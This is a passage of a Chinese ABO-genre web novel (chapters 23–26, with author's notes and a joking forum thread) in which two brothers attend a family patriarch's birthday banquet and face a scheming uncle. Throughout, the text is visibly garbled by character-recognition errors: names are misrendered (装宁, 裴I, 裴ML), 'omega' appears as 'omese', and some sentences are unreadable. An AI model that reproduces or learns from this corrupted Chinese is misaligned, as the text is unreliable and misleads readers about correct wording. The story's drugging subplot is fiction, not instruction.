像越思易这样天真的omega哪怕真当上所谓的“卧底”,难道就真能给他带来什么消息吗?这些消息能和裴宁提供的帮助对等吗?那也不见得。 究其根源,装宁还是心软了,只因为越思易那句“我只有一个妇姐”。直白的话语带着对妇 的心疼和依恋,装宁忽的无端联想到自己—唯”是很珍贵很难得的事情,而他也只有装办舟一个哥哥。周围人流渐稀,裴宁打开手机,却看见昨天刚添加的新联系人发来几条消息,一跃而起蹦到聊天框的顶上。 裴江? 【U:哈喽哈喽,您有一个快递已送达,记得签收哦亲~】 快递?自己没买什么东西吧。 裴宁纳闷,下一秒又忽然福至心灵,他来不及多想,拔腿就往校门口跑。 宁江大学的校门宽阔,大而气派,正门中央摆着块厚度惊/的岩石,上头刻着书法名家的迹,装宁平时总会忍不在多理几眼,因为服是他外公思的手笔,但今日的他A没了这用情,心脏扑通此着,脚下 刻不停地跑出了校园。而此时,路边深沉的夜色中,一辆黑色的迈巴赫熄了火,静静停驻。 见到裴宁靠近,驾驶座的车窗徐徐降下,露出一张温柔的侧脸。 “上课累了吗,哥哥来接你回家。” “哥!”裴宁又惊又喜,险些蹦达起来,“你好啦,你没事啦?” 他拉开车门上了副驾驶座,裴亦舟则解开安全带侧过身,从后座上捞过一个小袋子递给裴宁。“这是给你的蛋糕,草莓芒果双拼的。医生说我已经没事了,接下来回家休息就行。”裴宁欢天喜地接过,随后又撑起身将裴亦舟从头到脚看了一遍,还伸手贴了贴他的额头,确认裴亦舟一切如常才放下心来。 “刚才怎么跑这么急,以后过马路要看着点。”裴亦舟叮嘱。 裴宁寒寒窣窣地拆着蛋糕包装:“我看见二叔给我发的消息了,他说有快递送达,我一下就猜到是你,那肯定要跑超快来见你。” 裴亦舟失笑,眼底柔色逸散。昨夜失控而过界的亲昵触碰似乎是一场幻梦,如今热度褪去,裴宁与他的相处还是一如往昔,并没有任何不同。 裴亦舟有时候觉得自己内心太矛盾。离得太近,他害怕装宁看到自己皮蠹底下的污脏,从而远离,再也不亲近自己。离得远了,他又舍不得,看着装宁明亮的眼,微笑的唇,他心里火烧 样难受。alpha的占有欲和掠夺欲总在他骨髓中不息作素,偏偏他被要求着去扮演一个稳妥乖顺的omega。就像是两辆高速行驶的车,在岔路口不避不让轰然相撞,火花四溅后留下一地残骸“医生说了,因为这次发情期不在周期里,所以持续的时间会短一点。”裴亦舟打转方向盘,余光却落在裴宁身上。 这次,是第五十三针。 这样的计数,始于七年前的分化伊始。 那个男人这次送来的新药效果显著,但比起以往,注射后疼痛时长增加了一小时不止,同时伴随有咳嗽,咳血,胃疼,心率过速以及种种副作用。 装办舟让裴I派人把自己束缚起来,层层绳索捆缚,不留一点挣扎的余地。顶级alpha专用的止咬器皮带被扣到最紧,金属被皮带勒得下嵌,医生及时垫上布料才避免了他满面红底的狼狈模样。这样的束缚不知持续了多久,结束时裴亦舟脱力地拿下身上的麻绳,阖眼算了算时间:晚上七点四十五。 不算太早,但还来得及让他去接裴宁放学,来得及让他在沿途稍稍停靠,买一个裴宁喜欢的水果蛋糕。 于是他来了。 注射药物的余痛还在体内盘旋,那似乎是在下水道里四下逃窜吱吱乱叫的老鼠,毫无章法地狂奔、撞击着错杂的管道,发出砰砰声响,叫他 刻不得安宁。裴亦舟对四周的感知比起往常更敏锐,而就在纸盒折叠声落下后,面前的路口绿灯闪烁,跳跃着变成了红灯。踩下刹车,裴亦舟恍惚间闻到一阵清甜的风。他蓦然侧目,盛满水果和奶油的勺子被稳稳地递到了他嘴边。 “哥哥先吃。”裴宁笑着说。 作者有话说 ?显示所有文的作话 感谢小天使们的1个霸王票、36瓶营养液~ 奉上一个香甜的小剧场: 这是裴亦舟到枫京的第五个月,此时愈发嚣张粘人的裴宁已经取得了哥哥房间的自由进出权。宋月黎在这段时间忽然迷上了做甜点,每天都要弄点新花样。 她围上裴松墨买的漂亮围裙在厨房里大展身手,最后成功品进了俩小孩的肚子,失败品则全权由某位裴先生一力消化。巴巴路亚,可露丽,巴斯克蛋糕,瑞士卷……好吃又漂亮。这就使得裴宁也莫名昂起斗志,准备一试拳脚。而他下厨的结果则是……裴松墨吃撑了,并且半夜叫了家庭医生。 裴宁见状吓得蔫吧,连夜溜进裴亦舟的房间寻求安慰,他小声叽咕自我检讨,蒙着被子往人怀里钻。裴亦舟哪见过这架势,登时手忙脚乱将人一通安慰。 他的手在裴宁背上拍,一下一下,像是哄小孩似的,裴宁很快就泛起困来,他揪着哥哥的衣领迷迷糊糊:“怎么办啊哥哥,我做甜点好难吃,爸爸都吐了….”裴亦舟红着耳朵尖不说话,等人彻底睡着了才敢低头小声承诺:“那以后……我来给你做甜点就好了。”插画活动上线啦,宝贝们只要订阅过都可以抽,这一抽是免费的!满一百个人抽,某位不知名枇杷女士就可以获得专栏背景了(对手指)(暗示)另:明天上夹子,更新时间挪到晚上十一点~后天恢复正常的九点,爱你们么么 24、打领带 勺子伸得近,芒果冰凉的果肉已经触碰到唇角。 裴亦舟稍顿,随后张口含住了满满一勺的蛋糕。奶油入口即化,蛋糕坯松软还带着些水果香气。勺子面积不算大,却带上了最饱满的草萄和芒果块。 “很甜,”裴亦舟咀嚼着,“之前听我的助理说这家蛋糕很好吃,一直想着买给你尝尝,今天正好顺路就去了一趟。” “这样么,”裴宁闻言也给自己舀了一勺,他的舌头对诸如此类的甜点十分挑剔,细细品鉴后才点头道,“确实不错,不过我觉得还是哥哥你以前做的好吃。” 绿灯再度亮起,裴亦舟问:“真的假的,不是哄我呢?” “真的啊,你做甜点超级无敌好吃,还很漂亮。之前烤小饼干那次我发了朋友圈,戚栩他们都美慕的不行。不过可惜了,他们压根没那福气。”裴宁自豪地哼哼两下。 裴亦舟失笑:“既然喜欢,下次再给你做。” 回到家,裴宁先洗漱了一番。家居服被折叠整齐放在床尾,裴宁套上,顶着毛巾和蒸腾的水汽走出门,却没在客厅看到哥哥。 人去哪了? 裴宁环视一圈,瞧见书房的灯亮着,他走近,此时裴亦舟正立在桌边,手里拿着一封类似请柬的信函,如有所思。 “哥?”裴宁敲敲门,“在想什么呢?” 这澡洗得匆匆忙忙,裴宁身上没擦干,家居服是偏低的圆领,裴亦舟侧目就能看见他锁骨上乱淌的水珠子。 “过来点。” “嗯?”裴宁闻言凑过去,探出脑袋,“怎么啦?” 裴亦舟不语,只是拿下他头顶的毛巾,自然而然地帮人擦起了头发和脖子。柔软的布料磨蹭过脸颊,裴宁下意识眯了眯眼。 “没吹干别到处晃,当心感冒。” 装宁脑装没动,由着装亦舟帮他擦,怪舒服的,“道了知道了,下次 定。”下次也不擦,就等你来帮我。他就爱在这种小事上要要心眼,不过要是没装亦舟这么无法无天地惯着,这心眼也要不起来 裴亦舟手指很长,隔着毛巾擦头发的动作温和熟练,裴宁透过毛巾的缝又看向那个信函:“所以那个是什么?” “爷爷要过寿宴,这是邀请函,”裴亦舟话音稍顿,“上面写了我们的名字。” 他说的爷爷自然指的是裴城甫。 裴宁讶异:“怎么连我的名字都写了?” 他这么惊讶不是没有原因的。 裴宁爷爷这一支离开宁江后逐渐与本家少了联系,最早那几年偶尔还会回去一趟,但到后来,两家基本上成了熟悉的陌生人。 本家的亲成被人捧久了,多爱看人下菜碟,裴宁爷爷原先不过是装城甫的表弟,他扬言要离开时没人看好,还有人听间他要去枫京,更是冷朝热讽,觉得他迟早要摔个狗哨泥,到时候再灰溜溜跑回来寻求家族庇佑。但事情的结果完全出乎那些人的意料。 谁也没想到他居然成功在枫京辟出了一条路,再加上小辈争气,亲家和善,家底也深厚,枫京裴家一下变得炙手可热起来。其实宁江这边的亲戚也算是富裕的,但真要攀比起来,却是远远不及。那些人从奚落看好戏再到巴结,前后转变之大,叫人看了也只能说一句可笑。而现今几年过去,裴松墨步步高升,早已不可与往昔同日而语,宁江这边的亲戚要攀关系,也得好好掂量一下自己的分量够不够格。裴亦舟对于这样的两个姓名似乎不大意外:“是都写了。但如果不是小宁在的话,他们可能不会邀请我吧。”裴宁看去,只瞧见裴亦舟低垂的眉眼,镜片底下掩着着落寞。他惊觉自己这是说错了话,不小心揭了哥哥的伤疤。 怎么会,哥哥你想到哪里去了,你现在和他们又没关系,你就是我哥,我们能有什么不一样!”裴宁抱住裴亦舟的胳膊,“他们要是这部弄不明白,那就是他们自己套。“闻言,裴亦舟轻笑出声。 他跟逗小猫似的摸了摸装宁下巴:“所以你想去吗,那样的场合可能会很烦人,那些人知道你的身份,只会更没脸没皮地往上贴,很烦人。你要是不想,我们就不去,哥哥都听你的。” 去吗?裴宁没犹豫——当然要去! “我要去。”裴宁立马道。 “怎么这么快做决定了?” 裴宁思索片刻,拉住裴亦舟的胳膊让他在椅子上坐下,随后郑重其事地开口:“哥,我有一个很重要的事得告诉你。” “你说。”裴亦舟叠好毛巾放到一边,也配合着他正襟危坐。 临了要张口了,裴宁上下嘴皮子打了个架,但还是把越思易那事事无巨细地告诉了裴亦舟。 “裴从川他就是故意的,所以才让越思易给你下药。要是那天只有你一个人,又遇上些alpha,那他不就再也没有后顾之忧了。” 表宁最开始纳闷,为什么非要下一个能/发omesg发情期的药,到品后他思来想去,只能 用书中的同情去结观。毕竞apha对发情明omese的信息索没什么抵抗力,到品后真出了什么事,受到伤害最大的也是omega.大家族都子面子,更何况是裴家这种在宁江扎根多年的家族。哪怕现在洗标记的技术已经十分成熟,但裴家绝对不会把家产分给一个被标记过的不清不白的omega。 听完这一切,裴亦舟却不如裴宁想象般生气,他只是静静地牵了下裴宁的手,问他:“就是因为这个所以才想去裴家吗?”裴宁:“嗯,知己知彼才好,不然以后他还要存着坏心眼来害你,我放心不下。”“而且这些事情越思易应该没和我耍心眼,我既然答应了他,那也得想办法帮帮他姐姐。”他向来一诺千金,答应别人的事就没有食言过。 裴亦舟的拇指挨着裴宁的手腕抹了把:“既然这样,我们就去吧,如果这可以让你安心的话。”去裴家赴宴的事情就此定下,裴宁专门给宋月黎打去电话,让她帮自己把那身还没穿过的西装寄过来。 “怎么啦宝贝,”宋月黎笑盈盈问,“你是要去什么很重要的场所码?” 裴宁把准备去裴家赴宴的事说了,没一会儿,接电话的人变了。 枫京家中书房木门推开发出一声轻响,裴松墨的声音沉静依旧:“小宁确定要去,你不是最烦那些应酬的场合吗?”裴宁:“来都来了,我就想去看看。”“裴家本家没什么值得信赖的人,他们说的话你要是不爱听,就别理会。”裴松墨沉默片刻,默许了。 裴宁嗯嗯说好。 裴松墨没有问他为什么非要去,也没问他如何安排。孩子长大了,做事有自己的主见,大部分时候他都不会主动插手。挂断之前,通话被留出一个短暂的空档。 “还有,小宁,你要照顾好哥哥,”裴松墨叮嘱道,“不要再让他被人欺负了,知道吗?”寿宴的时间在晚上,裴宁半点不着急,甚至还去导师那答疑了半小时。他回家换衣服,刚在玄关脱下鞋,裴亦舟就走到他身前,像是拥抱一般将双臂伸到他颈后。 “怎么了哥哥?”裴宁睁大眼。 忽的,他察觉到那条一直被系在他脖子上链子一松,旋即低头,看见项链落进了裴亦舟掌心。 “之前的信息素差不多都辉发完了,换个新的吧,“裴亦舟微笑看卸下原先的玻璃吊坠,又换上新的,“今天要去的地方人太多,虽然你间不到其他人的信息素,但医生也提过要少受刺激,这样更保险。“ 裴亦舟离他很近,说话的声音不响,一字一句落下跟羽毛似的,反而搔得裴宁心尖一颤。项链被戴回脖子,裴宁猛地回神,冷不丁知道了裴亦舟这次又瞒着他去抽取信息素提取液,真是有些生气了。 “哥哥,你发情期才刚好。裴江那边的医生也说过,说你的腺体状况不好,你为什么不和我商量又去了?”裴宁攥着那个吊坠,拿也不是,不拿也不是,“你只顾着我,那你自己怎么办?”裴亦舟手指 蜷,对于弟弟的不算旺盛的怒火,他自有消解方式一装宁话语落下时,他配合着垂下眼眸,薄薄的镜片折射着玄关的灯光,那 点白色的亮光落到眼里,在错位的视角看来就跟眼泪似的.“抱歉小宁,我不知道你会这么生气。”裴亦舟身上也换了西服,但里头衬衫上别的袖扣仍是裴宁送他那对玛瑙,抬手的时候正好露出半截来。裴宁一怔,看见袖扣那刻噤了声。毕竟这袖扣里有什么他可比谁都清楚。他怎么能对着哥哥发火呢?况且哥哥这么做还不是为了他,自己还在这生气,那成什么了.… “我不是 生气,我就是担心你的身体,过两天我再去复直 次子不好,如果情况子的话,以后你就不要再去了。“裴宁深吸-口气,仰者险像足园求,“我们现在每天都住在起,我只要的间到就够了,其他我都不要。”只要能闻到你就够了。像情话。裴亦舟单方面认定。 “嗯,”裴亦舟摸摸他的头,“我听你的,以后不胡来。快去换衣服吧,司机已经在楼下了。”裴宁依言进门,可一进到只有他自己的空间,又没忍住把项链翻了出来。什么时候才能分化呢?是不是自己分化了,就没有那么多事…… 在门外等候的裴亦舟低头看了眼腕表,眼下的时间不算宽裕。他知道,裴宁并不是喜欢迟到的人,今天这么不紧不慢的,估计是想裴家个下马威—很直白,也很可爱。既然裴宁喜欢,那裴亦舟就随他。 挂在手腕上的百达翡丽外壳是低调的玫瑰金,表盘里头镂着星辰明月,细碎的散了一片。款式很适合年轻人,也很适合裴亦舟。这只表是他成年时裴松墨送的,算是重礼,拿出去谁也不会看轻,但今天还是第一次戴。原本单为了宁江裴家用不上,但裴宁也在,那一切就要另当别论了。 十分钟后,房门打开。 裴亦舟原先松散的眸光上挑,却在触及裴宁的那一霎倏忽而止。 无他,今天裴宁穿着一身有些太醒目了。 深黑色的西装裁剪得宜,布料板正没有一丝褶皱,完美地贴服在他身上,衬得他腰背挺拔,宽肩窄腰,腿长且直。 裴宁的衣服都是家里安排的,而宋月黎定这套时明显花了不少心思。衣摆内侧做了些暗纹,它们和绸缎般的内衬堆垂在一块儿并不老气,反而显得矜贵端方,叫人看 眼就知道这是哪家来的公子哥。 裴宁系好扣子转过身,正好直直地撞入了裴亦舟的目光。 哥哥看我看得好认真。这一刹那,裴宁脑海里闪过这个念头。 气氛似乎凝滞了片刻,恰好今晚阳台的窗户没关紧,纱窗拉到一半,夜风徐徐吹过,带着月光在二人之间绕了个圈。 几乎是被这样的裴宁惹得有些难捱,被压在阻隔贴下的腺体突突地跳动着。裴亦舟的喉结滚动,颔首的模样像是邀请:“小宁,要走了吗?” 裴宁不常系领带,手法略有生疏,刚才在屋里他好不容易才打出了一个漂亮的四手结,这会儿见着裴亦舟含着笑的眼睛,他又觉得哪哪都差点意思。 完美主义毫无征兆地发作,而裴宁又素来从心所欲。 于是鬼使神差的,他向裴亦舟踏出一步:“哥哥,你能帮我打领带么?” 25、双a家庭幸福吧 裴亦舟做事总是很专注,为裴宁擦头发是这样,现在打领带亦是如此。 他在裴宁面前低下头,伸手轻轻地拆开那个结,手指挟着布料上下穿梭交叠,很快,一个标准漂亮的温莎结就被妥帖地系在裴宁领口。 裴亦舟抚平领带上细小的褶皱,裴宁察觉到细微的不同:“你是不是偷偷换打法了?” “温莎结更正式一些,再说我哪有偷偷,这不在你眼皮子底下么。”裴亦舟弯腰,把裴宁的鞋子放到他跟前。 同往常别无二致,他总是在裴宁反应过来之前就把所有事情完成了,就像一阵风,清清淡淡地刮过,没留下浓墨重彩的痕迹。 裴家的家宴办在老宅,那里位处城郊,面积很大,几幢楼房夹着花园,能容纳不知道多少人。 裴宁记得自己小时候去过一两回,但年岁太久远,他现在已然记不清楚。 裴家繁复华丽的宅院偏向欧式建筑,大概和宁江城区的风格有关,这儿连每一处壁灯外的灯罩都是掐丝珐琅的,这金碧辉煌的外观,叫人一眼就能看出其中的奢华富贵。 裴家祖上就是经商的,现在一代代传下来,依旧如此。只不过近年来市场不景气,家里又人丁凋零,因而显出了不小的颓势。 但瘦死的骆驼比马大,放在宁江,裴家的声望还是在的。 因而裴城甫寿宴的请帖一发出去,前来道贺参宴的宾客络绎不绝,门口的车辆来来往往,侍者脸上的笑就没放下来过。 大门口的西洋钟也是老做派,大概是从哪个拍卖上取来的珍奇物,到了时间还会清凌凌敲几下,放在门口显得主人家格外大气有面子。 门卫瞧着时间:“这个点还不关门吗,客人们应该都到了吧。” 旁边的人斜了他一眼:“你能不能长点记性,今晚单子上还有人没到呢,急着关什么门。” “都这么晚了还不来,大概不会来了吧。”他这话音刚落,前门灯光扫不到的地方,霎时被远处的车灯打亮。 为了迎客,裴家这一次也算是做足了排场,门口的红毯都要铺到宅院外头去了。但部分客人都会在固定的地方下车,随后再由侍者或是司机专门去泊车。 但这辆黑色的迈巴赫没有停下,反而缓缓驶进,将原本整洁的毯子压出了几道深色车辙印。 不太有礼,实在张扬。 那车窗上都贴了防窥膜,叫人看不清里面到底是谁,短短十几秒下来,反而吊足了人的胃口。 引擎熄灭,后座的门被打开,裴宁长腿一伸从上面走了下来。 他身段挺拔,脸生但惹眼。 周围有客人瞧见,小声嘀咕:“这是谁家的啊,怎么以前好像没见过。” “是啊,我也没见过。”有人应和。 另一侧的车门也紧随其后打开,裴亦舟探身而出,脸上没什么表情。看见他,有人觉得似曾相识,好像是哪里见过,但又说不出个所以然来。 而这两位客人一进门,门口的侍者就缓缓合拢了庄园的铁门。显然,这扇门开至现在就是为了等待他们。这是什么来头?竟然让裴家这么客气,迟到了不说,竟还让人候着门等? 但没人回答他们的疑惑,裴宁冲着裴亦舟笑了下,二人并着肩向前走去。等到进了大厅,裴宁才刚露面,就有人急不可待地迎了上来。“你就是裴宁吧?早就听说过你了,果然和你爸爸一样出挑啊,”来人笑眯眯,狭长的眼睛给人一种精明之感,“今天怎么来这么晚,三叔在这等了好久啊。” 三叔,裴从川。 这名字一出裴宁心里就翻了个白眼,甚至连他伸过来的手都懒得握,只是微微领首:“我是。” 裴从川伸在半空的手一僵,他面上的笑有点挂不住,看起来略显生硬。而这时,裴亦舟倒开口了,他往前一步:“三叔,好久不见。” 周围的宾客纷纷投来目光,裴从I快速地打量了裴亦舟一番,从头到脚一处不落,当然也没错过他的袖口和其下的腕表。啧,这裴亦舟怎么戴的比他的还贵。 “啊,亦舟啊,我们也是好久不见了,”他笑着,乍看还真像那温和的长辈,“你说你,都会宁江读书这么多年了也不知道回家里来看看,老爷子经常念叨你啊,但就是不见人影。”不等裴亦舟说话,裴宁打断道:“哥哥学业忙,没空也正常,再说我们今天不是来了吗。” 裴亦舟不语,只是微笑。 裴从川额角抽了抽,他确实可以从长辈的角度小小教训裴亦舟几句,但现在人多,他却不好多说了。 当年他大哥非要把裴亦舟送走,那会儿宁江就有很多人议论,说他们薄情寡义,容不下一个没了爸妈的omega。后来流言渐稀,总算是没什么人提了,他们却和裴亦舟彻底没了联系。 裴ML以前从没把这柔柔50omese侄子放在心上,对方在他这一点竞争力沒有,甚至还不如裴江来的棘手,但偏偏前久有人给他递了消息,石破天惊 般,告诉他说这裴亦舟可能不是omega,甚至还给他送了试探的 剂.对于裴家,裴从川那是势在必得。 最有竞争力的大哥死了,二哥是个亲爸瞧不上的顽劣omega,本来他已经万事大吉,只等哪天裴城甫归了西天就能将裴家拿到手,但这个消息却是将他的计划全盘打乱。无法,他忽然想到手下有个alpha保镖的弟弟似乎与裴亦舟有些联系,于是出了下策,结果却是什么也没打探到,反而还被人给盯上了。“小宁说的也是,是三叔考虑不周,我就是太想一家人团聚才这么说的,你不要见怪。”他赔笑,心里却不忿,仍用余光暗自瞧着裴亦舟。 这人眉目恭顺,身上气味淡不可闻,露出来的那些也发涩,和低等omega无异,除了高,没一点和alpha沾边的。 当时那消息难道是捉弄人的? 那个越思易都说了,裴亦舟喝酒之后毛反应也没有。裴从I咬咬牙,总觉得自己是叫人坑了。裴宁今天既然来了,就没想过要与他客气:“别叫这么亲近,我和您不太熟。”他这话说的声音不小,周围好多人都竖起耳朵。 裴从I好面子,脸上挂不住,刚要开口,裴亦舟这个时候又出来打圆场:“抱歉叁叔,裴宁他从小性子就这样,说话比较直,您是长辈,见谅。”裴从I登时噎住。这一句话给他架得那个高啊,哪还能拉下脸说什么。他只好把气往肚里咽,笑呵呵道:“哈哈,不会不会,我就喜欢性子直的孩子,多可爱呐。” 这两人一个红脸一个白脸,也不知道是不是故意的。 裴从川站在这颇感如芒在背,招呼了两声,说自己还有些事,就先行走开了。 “哥,裴家这边的人都这么讨厌吗?”碍眼的人终于离开,裴宁小声问。“嗯,”裴亦舟失笑,“都这么讨厌。其实你不喜欢的话不要理会就好。” “我就是看不惯他那样,算计都快写到脸上来了,生怕别人看不出,”裴宁撇嘴,“也不知道怎么长到这么老的,看起来也不是很聪明。”他这嘴一张跟机关枪似的,恨不得在裴从川身上射百八十个窟窿出来。裴亦舟看着只觉得有趣,甚至想拿手机录下来,晚上回去再重温一遍。 裴从川的出现和话语引来不少人侧目,其中也不乏裴家人。他们听见裴亦舟的名字,自然而然地想到了这人是谁。原来就是那个父母双亡,像落水狗一样被赶出家门的omega啊。听说当年他被关在医院隔离室里分化,刚结束没多久就被一架飞机送到了枫京,现在看起来,居然混得也不差,甚至可以说是很好。 人多是恶劣的,他们看不起那些地位 度低于自己的人,也看不得那些人过得比自己好。因而在短暂的打量结束后,那 簇簇投来的目光就染上了恶意与不屑,似乎这样就能昭示自己的地位高人一等。 裴宁最看不惯这样的人,更何况此时这恶意针对的对象是裴亦舟。对于这类存在,他甚至不想用权势地位去压人,那样他都嫌浪费。 裴宁侧目,一旁不远处是铺了白色丝绒布的餐桌,上头层层香疊地摆放着香槟塔和甜品架,而方才投来目光的裴家人正站在一旁,故作若无其事地高谈阔论着。裴宁轻嗤一声,绕过裴亦舟后退一步,正好走入旁人视线的死角。 他不动声色地伸退,踩上地上的布角,大腿发力狠狠 拽 乒铃乓哪,几乎一人半高的香槟塔项问失去平衡,轰然倒下,不计其数的酒液在此刻 齐浇下,那幾个人躲避不急,被稀里哗啦淋了个透,从头到脚都酒香四溢,“啊!这傻逼玩意怎么倒了,那些人都是怎么干活的!”一个年纪不大的alpha凄叫出声,精心准备的行头和发型在此刻尽数成了笑话。“闭嘴!”他身边似乎是父亲的人面色一变。今天在场的全是宁江有头有脸的客人,他们再怎么不悦也不能损了裴家自己的面子。alpha闻言只好憋憋屈屈闭上嘴,目光往餐桌那瞧,却没看见半个人影,只得甩下酒液乱淌的外套仓皇离场。教训完人,裴宁利索地溜回裴亦舟身边。裴亦舟看过来,他不闪不躲,像是干了坏事的小孩,心里头觉得刺激,又不觉得自己有错,反而可自豪。 “真是倒黴啊。”裴亦舟微笑看着那些满身狼狈的“家人”。 他清楚知道刚才发生了什么,但没有点破,任凭诡异的快意再度充斥内心。他看的明白,裴宁这是在给他出气呢。“运气不好的人是这样的,上哪都要倒霉。”裴宁不以为意道。这头香槟塔倒下的动静太大,在场大部分宾客都看了过来。“诶,裴宁?你怎么在这!”一道熟悉的声音响起。裴宁转过身,和不远处举着香槟杯的燕呈嘉四目相对。这不他的室友么! “你怎么也在?”裴宁讶然。 燕呈嘉看清楚了真是他,当即走过来。他的目光触及裴宁身后的裴亦舟,倏然一顿,礼貌道:“裴学长好。” 开学的时候裴亦舟经常帮着裴宁去寝室送东西,也给那些室友带过零嘴,因而他们都是相识的。 “嗯,毕竟这是我爷爷的寿宴。”裴亦舟颔首。 燕呈嘉一惊:“对啊,你们都姓裴呢,我这木鱼脑袋怎么没想到。”“所以你也是富二代?”裴宁多看了两眼,今天的燕呈嘉确实和往常不太一样。 他们寝是混寝,四个人专业各不不同。燕呈嘉是机械工程学院的,平日里不是上课就是窝在寝室里打游戏,一幅宅男到极点的阴湿样,吃穿用度也与常人无异,叫人根本看不出来。“哼哼,没想到吧,我真是,”燕呈嘉语气还有点自豪,“我小叔不准我随便花钱,一直掐着我的卡呢,所以平时你们看不出吧?”“真看不出。”裴宁摇摇头。 燕,这个姓氏的富二代可不常见。 裴亦舟眉心微蹙,像是想到了什么:“所以你的小叔是?”燕呈嘉闻言努努嘴,朝着一个方向指去:“就是他,我小叔。”裴宁顺着他指的方向看去,只見一个高大的alpha站在水晶灯下,身边围满了人。 他面容严肃,不苟言笑,浅灰色的西装沒有任何样式,商务至极,而下秒,裴寧瞧见他被身边的某只手戳了一下,脸上的表情 瞬间有些绷不住,随后又说了句什么,周围的人就同时散开了。等到人散去,裴宁定睛,却猛然发现那位alpha身边站的也不是什么陌生人。 那不是裴亦舟的alpha导师吗?当时那张借位照裴宁到现在还记得,每次想起来就觉得哪哪都不是滋味,没想到今天居然在这样的场合见到了当事人。 “陈老师。”裴亦舟颔首。 陈散见着他,面上不太意外,还是笑吟吟的,十分儒雅,“亦舟也在呢,和谁来的啊?”“我弟弟,”裴亦舟侧目,“他也是宁大的学生,只不过是生物医学院的。”“那正好,我也给你介绍一下,”陈散笑着拍了拍身边男人的肩膀,“这位是我先生,燕越。”“喏,对面这个就是我跟你说的学生啦,非常能干聪明的那位,你没忘记吧?”陈散又回头冲燕越道。 燕越眸光淡淡扫过来,正好与裴亦舟碰上。 他们差不多高,无需调整,平视着就能交流。 燕越身上散着浅淡的alpha信息素,虽然不浓,但等级很高,常人闻到或许会有些不适,但裴亦舟没什么反应,只是不卑不亢地伸手:“燕先生您好,久闻大名。” 燕越回握:“嗯,陈散经常提起你,你很有潜力。” 他们这头打得如火如荼,另一边……裴宁和燕呈嘉对视一眼,都从对方眼中瞧到了熟悉而清澈的茫然。 “你哥怎么和我叔都认识啊?”燕呈嘉问。 “不知道。”裴宁摇摇头。 燕呈嘉又说了句什么,但裴宁没仔细听,答得牛头不对马嘴。自从见到陈散本人,他的思绪就飞去了别处:“那个……你叔和他伴侣都是alpha?他们感情好吗?”照片上那样的事应该绝无发生的可能吧。 燕呈嘉:? 不是哥们,你跑题了吧? 作者有话说 ?显示所有文的作话 感谢小天使们的25瓶营养液~ [其实在宁大内部论坛上有这样一个帖子]【818|生物医学院超帅新生和金融系风云omega学长到底是什么关系?】【1L(楼主):楼主绝对没有磕产品的意思,楼主就是喜欢脸好看的人orz [图片][图片],可是他们真的好亲密啊啊啊!】 【2L:楼主收收味儿……】 【3L:这俩帖子也太多了,感觉每天一进论坛就是被这两张帅脸绊倒】 【4L:李涛,他们真的没在谈吗?】 【5L:4L我懂你,加一】 【6L(楼主):所以真的没人来说说吗…其实楼主有听过这俩是兄弟,但是兄弟真的能处成这样么(对手指)】 【7L:有的楼主有的,真是兄弟,学校小乐团内部传出来的,保真】 【8L:我和我哥反正不这样…】 【9L:我和我弟也不这样…】…… 【15L(楼主):可恶,总之楼主不会放弃这栋楼的。我的产品…阿不对,我是说兄弟…他们会一直在一起…啊我是说兄友弟恭的。】 26、蛮横鬼 “怎么突然问这个,”燕呈嘉迷糊,“挺好的啊,他们很早就认识了,当时身边人都不看好,但这么多年过去他们还是在一块儿。” 裴宁回神,这才发现自己这问题实在问得蠢:“那还挺好,aa恋不容易呢。” “是不容易啊!”一提到这个燕呈嘉深有所感“你都不知道,他们俩易感期老是撞 起,结果就是关起门来打架有一次那动静我不小心听见了,妈呀,都不知道要打坏多少家具“ 夫妻,易感期关起门来互殴。这还挺小众的。裴宁嘴角一抽。 燕呈嘉是个实打实的话房,本来跟着小叔夫夫俩出来参加这宴会他就憋得慌,正愁没人能聊天,这会儿见着裴宁就跟遇上了救命稻草似的,一竹筐话一齐往外倒,整的裴宁都不会了。 “话说你和裴学长跟这个裴家是什么关系啊,你们不是枫京人么……” “小宁,宴会快开始了,我们进去吧。”裴亦舟不知何时走了过来,打断了燕呈嘉的询问。 “哦好!”裴宁如蒙大赦,转过头冲着燕呈嘉道,“我跟我哥先走了,有什么事回头我们手机上说。” 兄弟俩离去,裴宁走动间,身上晃出了几缕信息素的气味。 燕呈嘉鼻子灵,闻到之后皱了皱眉,小声嘟哝:“怎么又是这味。今天倒不太冲……嘶,酸的。” 一旁,陈散抱臂撞了下燕越:“怎么样,我这学生还不错吧。” 燕越抿了口香槟,视线平静下移,落在陈散上扬的嘴角:“这么开心?” “当然啊,以前带的那些学生我都不想说,论文都要我手把手带着一字一句改,多带一个天寿十年,谁能像裴亦舟那么省心啊,”陈散摊手,“现在他公司也办的不错,上次那个项目你要不考虑一下他?” “我不开后门。”燕越油盐不进。 “谁叫你开后门了,就是让你考虑一下,“陈散轻哼,“祁家那个小子到底靠不靠谱你比我清楚,我就是给你提个醒。” “嗯,”燕越还是那副死人脸,“我知道了。” 大概是裴这个姓氏架在前头的缘故,虽然裴家以前和裴亦舟闹得很难看,但如今表面功夫依旧做的很足。一听闻他们到了宴会厅,就有专人来接引请他们移步主楼,说是裴老爷子想见见他们。侍者引着人走过喷泉花园,富奢辉煌的大厅,红木雕花的楼梯,最后在一扇门前停了下来。房门推开,里头散出一些檀香味,像极了寺庙里的气味。裴宁进门,只见裴从川和他的母亲涂静站在一边,而他们身边的那个精神奕奕的老人,正是裴城甫。 听到门口的动静,裴城甫缓缓抬头,眼尾的皱纹下压,显得他的眼睛窄长,有几分威严,“亦舟和小宁来了啊。”他开口,嗓音很沉。见状,涂静当即笑着催促:“亦舟你怎么还愣着呢,赶紧叫人啊。”她眉目精致,颇具风韵,看起来比裴城甫年轻不少。 裴亦舟眉目低垂:“爷爷。”一幅任人搓扁揉圆的情态。 “唉,”裴城甫闻言笑了,但目光却落在裴宁身上,“之前就听说松墨家的孩子到我们宁江来了,没想到今天才见到面。” 他话语温和,连带着涂静脸上也沁出笑:“是啊,我们两家也许久不联系了,本就是一家,也该多走动的。” 这么一套下来,裴宁咂摸出点别的滋味。 这俩人就是瞅着他的身份才开的这个口,不然肯定懒得搭理。裴亦舟不也是他哥么,不也算是裴松墨看着长大的么,前几年也不见他们多照顾啊。他心里不爽,索性不说话,直接拿出微笑来敷衍,做起纸糊的面子工程。 旁观裴从川面露狐疑。 这裴宁刚才在外边不还跟机关枪似的怼他呢,怎么这会儿又哑炮了? 